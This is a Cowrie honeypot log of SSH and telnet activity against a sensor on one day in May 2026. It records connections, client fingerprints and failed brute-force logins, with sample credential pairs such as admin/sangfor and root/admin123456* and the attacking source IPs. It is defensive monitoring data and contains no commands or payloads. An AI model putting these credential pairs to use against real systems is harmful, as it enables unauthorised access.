{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:33.642006Z","src_ip":"190.108.60.101","session":"5ec713b87ad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3bot","password":"123456789","message":"login attempt [ts3bot/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:34.435360Z","src_ip":"190.108.60.101","session":"5ec713b87ad1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.707101106643677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:34.554420Z","src_ip":"173.249.63.118","session":"bc32a3550693","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":35218,"dst_ip":"10.17.0.5","dst_port":23,"session":"07ce9ba12f5f","protocol":"telnet","message":"New connection: 173.249.63.118:35218 (10.17.0.5:23) [session: 07ce9ba12f5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:34.745400Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:35.627555Z","src_ip":"190.108.60.101","session":"5ec713b87ad1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":41892,"dst_ip":"159.203.135.109","dst_port":23,"session":"08b595b5b4e5","protocol":"telnet","message":"New connection: 167.99.38.72:41892 (159.203.135.109:23) [session: 08b595b5b4e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:50.382019Z"}
{"eventid":"cowrie.session.closed","duration":31.20895266532898,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:50.757537Z","src_ip":"173.249.63.118","session":"031aa3ca48e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":46000,"dst_ip":"159.203.135.109","dst_port":23,"session":"e893359afdbf","protocol":"telnet","message":"New connection: 34.69.118.1:46000 (159.203.135.109:23) [session: e893359afdbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:56.473394Z"}
{"eventid":"cowrie.session.closed","duration":30.600834369659424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:48:57.251896Z","src_ip":"173.249.63.118","session":"b35bebbeacbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.322492837905884,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:49:02.968770Z","src_ip":"173.249.63.118","session":"41f5b2cf20cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.803497314453125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:49:05.548816Z","src_ip":"173.249.63.118","session":"07ce9ba12f5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":48524,"dst_ip":"10.17.0.5","dst_port":22,"session":"662aef6e1f2d","protocol":"ssh","message":"New connection: 160.251.101.169:48524 (10.17.0.5:22) [session: 662aef6e1f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:49:06.267619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:49:06.273549Z","src_ip":"160.251.101.169","session":"662aef6e1f2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:49:06.438371Z","src_ip":"160.251.101.169","session":"662aef6e1f2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"sangfor","message":"login attempt [admin/sangfor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:49:07.122711Z","src_ip":"160.251.101.169","session":"662aef6e1f2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:49:08.296545Z","src_ip":"160.251.101.169","session":"662aef6e1f2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.44240856170654,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:49:25.824333Z","src_ip":"167.99.38.72","session":"08b595b5b4e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62493920326233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:49:27.098230Z","src_ip":"34.69.118.1","session":"e893359afdbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.101","src_port":54060,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1d504866404","protocol":"ssh","message":"New connection: 190.108.60.101:54060 (10.17.0.5:22) [session: d1d504866404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:49:42.246054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:49:42.250522Z","src_ip":"190.108.60.101","session":"d1d504866404","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:49:42.444028Z","src_ip":"190.108.60.101","session":"d1d504866404","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123456*","message":"login attempt [root/admin123456*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:49:43.257661Z","src_ip":"190.108.60.101","session":"d1d504866404","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:49:44.458173Z","src_ip":"190.108.60.101","session":"d1d504866404","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.105.125.124","src_port":44220,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2486d51d7c0","protocol":"telnet","message":"New connection: 182.105.125.124:44220 (159.203.135.109:23) [session: f2486d51d7c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:49:51.227622Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":52752,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5c287339f19","protocol":"telnet","message":"New connection: 173.249.63.118:52752 (10.17.0.5:23) [session: a5c287339f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:49:52.154280Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":55386,"dst_ip":"10.17.0.5","dst_port":23,"session":"d95c1feb8b0c","protocol":"telnet","message":"New connection: 173.249.63.118:55386 (10.17.0.5:23) [session: d95c1feb8b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:49:56.350735Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":57294,"dst_ip":"10.17.0.5","dst_port":23,"session":"8abb52acbcd9","protocol":"telnet","message":"New connection: 173.249.63.118:57294 (10.17.0.5:23) [session: 8abb52acbcd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:50:01.054815Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":56672,"dst_ip":"10.17.0.5","dst_port":22,"session":"1027eabdd800","protocol":"ssh","message":"New connection: 160.251.101.169:56672 (10.17.0.5:22) [session: 1027eabdd800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:50:01.842393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:50:01.856881Z","src_ip":"160.251.101.169","session":"1027eabdd800","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:50:02.011054Z","src_ip":"160.251.101.169","session":"1027eabdd800","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:50:02.636369Z","src_ip":"160.251.101.169","session":"1027eabdd800","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:50:03.798798Z","src_ip":"160.251.101.169","session":"1027eabdd800","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.656921863555908,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:50:03.884478Z","src_ip":"182.105.125.124","session":"f2486d51d7c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":49558,"dst_ip":"10.17.0.5","dst_port":23,"session":"de9bb795950a","protocol":"telnet","message":"New connection: 173.249.63.118:49558 (10.17.0.5:23) [session: de9bb795950a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:50:23.046927Z"}
{"eventid":"cowrie.session.closed","duration":31.097912073135376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:50:23.252317Z","src_ip":"173.249.63.118","session":"a5c287339f19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.398731231689453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:50:27.749365Z","src_ip":"173.249.63.118","session":"d95c1feb8b0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.80017352104187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:50:32.854865Z","src_ip":"173.249.63.118","session":"8abb52acbcd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.101","src_port":43794,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e37e7fbb437","protocol":"ssh","message":"New connection: 190.108.60.101:43794 (10.17.0.5:22) [session: 4e37e7fbb437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:50:49.296704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:50:49.301951Z","src_ip":"190.108.60.101","session":"4e37e7fbb437","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:50:49.503847Z","src_ip":"190.108.60.101","session":"4e37e7fbb437","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":57626,"dst_ip":"159.203.135.109","dst_port":23,"session":"37d347b7d2ec","protocol":"telnet","message":"New connection: 167.99.38.72:57626 (159.203.135.109:23) [session: 37d347b7d2ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:50:49.852349Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssword","message":"login attempt [ubuntu/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:50:50.333163Z","src_ip":"190.108.60.101","session":"4e37e7fbb437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:50:51.533323Z","src_ip":"190.108.60.101","session":"4e37e7fbb437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.097971439361572,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:50:54.144777Z","src_ip":"173.249.63.118","session":"de9bb795950a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":56863,"dst_ip":"159.203.135.109","dst_port":22,"session":"29c3485cfc2e","protocol":"ssh","message":"New connection: 193.24.211.95:56863 (159.203.135.109:22) [session: 29c3485cfc2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:50:58.264548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:50:58.269323Z","src_ip":"193.24.211.95","session":"29c3485cfc2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:50:58.381728Z","src_ip":"193.24.211.95","session":"29c3485cfc2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"asteriskftp","message":"login attempt [ftpuser/asteriskftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:50:58.807593Z","src_ip":"193.24.211.95","session":"29c3485cfc2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:50:59.919412Z","src_ip":"193.24.211.95","session":"29c3485cfc2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":44530,"dst_ip":"10.17.0.5","dst_port":22,"session":"07ad66130330","protocol":"ssh","message":"New connection: 160.251.101.169:44530 (10.17.0.5:22) [session: 07ad66130330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:51:00.538923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:51:00.544866Z","src_ip":"160.251.101.169","session":"07ad66130330","protocol":"ssh"}
